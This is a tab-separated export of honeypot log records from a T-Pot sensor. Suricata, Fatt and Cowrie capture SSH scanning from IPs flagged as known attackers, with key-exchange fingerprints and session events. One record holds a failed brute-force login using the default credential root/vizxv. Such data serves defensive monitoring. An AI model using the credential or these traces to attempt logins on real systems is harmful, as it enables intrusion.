30258	178.128.198.1	109.199.241.180	Suricata	2021-09-20 14:33:38.989823+03	2021-09-20 14:45:02.766142+03	{"_id": "cwb7AnwBvYTbRNuEqTu8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "178.128.198.1", "asn": 1241, "as_org": "Forthnet", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "178.128.198.1", "dest_ip": "192.168.20.116", "flow_id": 508347792158694, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 56564, "dest_port": 22, "timestamp": "2021-09-20T11:33:38.989823Z", "@timestamp": "2021-09-20T11:33:38.989Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
30259	178.128.198.1	109.199.241.180	Fatt	2021-09-20 14:33:38.990484+03	2021-09-20 14:45:02.768141+03	{"_id": "dgb7AnwBvYTbRNuEqjvP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "178.128.198.1", "asn": 1241, "as_org": "Forthnet", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "178.128.198.1", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519", "hassh": "98ddc5604ef6a1006a2b49a58759fbe6", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr", "ceastc": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr", "client": "SSH-2.0-Go", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}, "protocol": "ssh", "src_port": 56564, "dest_port": 22, "timestamp": "2021-09-20T11:33:38.990484", "@timestamp": "2021-09-20T11:33:38.990Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
30260	178.128.198.1	109.199.241.180	Cowrie	2021-09-20 14:33:40.160362+03	2021-09-20 14:45:02.769143+03	{"_id": "dwb7AnwBvYTbRNuEqzv8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "178.128.198.1", "asn": 1241, "as_org": "Forthnet", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "178.128.198.1", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "f503a28a8a28", "@version": "1", "duration": 1.206861972808838, "timestamp": "2021-09-20T11:33:40.160362Z", "@timestamp": "2021-09-20T11:33:40.160Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
30261	178.128.198.1	109.199.241.180	Suricata	2021-09-20 14:33:38.990484+03	2021-09-20 14:45:02.771142+03	{"_id": "dAb7AnwBvYTbRNuEqTu8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:33:38.913382+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1150}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "178.128.198.1", "asn": 1241, "as_org": "Forthnet", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "178.128.198.1", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 508347792158694, "payload": "AAADHAkUHoh+F3GgFNvW8cMyzA22OwAAAHFjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTQtc2hhMQAAAS1zc2gtcnNhLWNlcnQtdjAxQG9wZW5zc2guY29tLHNzaC1kc3MtY2VydC12MDFAb3BlbnNzaC5jb20sZWNkc2Etc2hhMi1uaXN0cDI1Ni1jZXJ0LXYwMUBvcGVuc3NoLmNvbSxlY2RzYS1zaGEyLW5pc3RwMzg0LWNlcnQtdjAxQG9wZW5zc2guY29tLGVjZHNhLXNoYTItbmlzdHA1MjEtY2VydC12MDFAb3BlbnNzaC5jb20sc3NoLWVkMjU1MTktY2VydC12MDFAb3BlbnNzaC5jb20sZWNkc2Etc2hhMi1uaXN0cDI1NixlY2RzYS1zaGEyLW5pc3RwMzg0LGVjZHNhLXNoYTItbmlzdHA1MjEsc3NoLXJzYSxzc2gtZHNzLHNzaC1lZDI1NTE5AAAAVWFlczEyOC1nY21Ab3BlbnNzaC5jb20sY2hhY2hhMjAtcG9seTEzMDVAb3BlbnNzaC5jb20sYWVzMTI4LWN0cixhZXMxOTItY3RyLGFlczI1Ni1jdHIAAABVYWVzMTI4LWdjbUBvcGVuc3NoLmNvbSxjaGFjaGEyMC1wb2x5MTMwNUBvcGVuc3NoLmNvbSxhZXMxMjgtY3RyLGFlczE5Mi1jdHIsYWVzMjU2LWN0cgAAAEJobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItMjU2LGhtYWMtc2hhMSxobWFjLXNoYTEtOTYAAABCaG1hYy1zaGEyLTI1Ni1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTEsaG1hYy1zaGExLTk2AAAABG5vbmUAAAAEbm9uZQAAAAAAAAAAAAAAAABnC2LlsKStusQ=", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 56564, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:33:38.990484Z", "@timestamp": "2021-09-20T11:33:38.990Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "........~.q......2.\\r.;...qcurve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1...-ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519...Uaes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr...Uaes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr...Bhmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96...Bhmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96....none....none.............g.b......"}}	1	\N	\N	alert	known attacker	\N
31029	109.104.151.106	109.199.241.180	Cowrie	2021-09-20 14:41:17.196721+03	2021-09-20 14:45:03.949175+03	{"_id": "MQYCA3wBvYTbRNuEpkEN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "109.104.151.106", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "109.104.151.106", "eventid": "cowrie.login.failed", "message": "login attempt [root/vizxv] failed", "session": "7a8965eca41f", "@version": "1", "password": "vizxv", "username": "root", "timestamp": "2021-09-20T11:41:17.196721Z", "@timestamp": "2021-09-20T11:41:17.196Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30262	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:33:38.954355+03	2021-09-20 14:45:02.772142+03	{"_id": "dQb7AnwBvYTbRNuEqjvP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "178.128.198.1", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 56564, "timestamp": "2021-09-20T11:33:38.954355", "@timestamp": "2021-09-20T11:33:38.954Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30263	176.60.208.43	109.199.241.180	Suricata	2021-09-20 14:33:28.128207+03	2021-09-20 14:45:02.773141+03	{"_id": "OAb7AnwBvYTbRNuEfju_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "176.60.208.43", "dest_ip": "192.168.20.116", "flow_id": 1562674215801070, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 52986, "dest_port": 22, "timestamp": "2021-09-20T11:33:28.128207Z", "@timestamp": "2021-09-20T11:33:28.128Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
30264	1.117.219.217	109.199.241.180	Suricata	2021-09-20 14:33:28.670778+03	2021-09-20 14:45:02.775141+03	{"_id": "OQb7AnwBvYTbRNuEfju_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "1.117.219.217", "dest_ip": "192.168.20.116", "flow_id": 1679847366096697, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 50408, "dest_port": 22, "timestamp": "2021-09-20T11:33:28.670778Z", "@timestamp": "2021-09-20T11:33:28.670Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
30265	95.85.8.215	109.199.241.180	Suricata	2021-09-20 14:33:28.232064+03	2021-09-20 14:45:02.776143+03	{"_id": "PAb7AnwBvYTbRNuEfju_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "95.85.8.215", "dest_ip": "192.168.20.116", "flow_id": 1976528674545371, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 56288, "dest_port": 22, "timestamp": "2021-09-20T11:33:28.232064Z", "@timestamp": "2021-09-20T11:33:28.232Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
30266	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:33:28.180798+03	2021-09-20 14:45:02.777142+03	{"_id": "PQb7AnwBvYTbRNuEfzvS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "95.85.8.215", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 56288, "timestamp": "2021-09-20T11:33:28.180798", "@timestamp": "2021-09-20T11:33:28.180Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30267	5.188.62.196	109.199.241.180	Suricata	2021-09-20 14:33:36.365619+03	2021-09-20 14:45:02.778142+03	{"_id": "aAb7AnwBvYTbRNuEnjsD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:32:20.749788+0000", "pkts_toclient": 21, "pkts_toserver": 24, "bytes_toclient": 3369, "bytes_toserver": 4436}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.196", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 619638979588316, "payload": "", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 38380, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:33:36.365619Z", "@timestamp": "2021-09-20T11:33:36.365Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30268	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:34:14.248561+03	2021-09-20 14:45:02.780143+03	{"_id": "wAb8AnwBvYTbRNuEMDv_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 1.117.219.217:54090 (192.168.176.2:22) [session: 9d500d7d21b0]", "session": "9d500d7d21b0", "@version": "1", "protocol": "ssh", "src_port": 54090, "dest_port": 22, "timestamp": "2021-09-20T11:34:14.248561Z", "@timestamp": "2021-09-20T11:34:14.248Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
30269	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:34:14.254933+03	2021-09-20 14:45:02.781142+03	{"_id": "wQb8AnwBvYTbRNuEMDv_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "9d500d7d21b0", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:34:14.254933Z", "@timestamp": "2021-09-20T11:34:14.254Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30270	1.117.219.217	109.199.241.180	Suricata	2021-09-20 14:34:14.500031+03	2021-09-20 14:45:02.783142+03	{"_id": "xAb8AnwBvYTbRNuEMjuG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "1.117.219.217", "dest_ip": "192.168.20.116", "flow_id": 1946539068307151, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 54090, "dest_port": 22, "timestamp": "2021-09-20T11:34:14.500031Z", "@timestamp": "2021-09-20T11:34:14.500Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
30271	1.117.219.217	109.199.241.180	Fatt	2021-09-20 14:34:14.502792+03	2021-09-20 14:45:02.784142+03	{"_id": "xgb8AnwBvYTbRNuEMzuY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "1.117.219.217", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 54090, "dest_port": 22, "timestamp": "2021-09-20T11:34:14.502792", "@timestamp": "2021-09-20T11:34:14.502Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
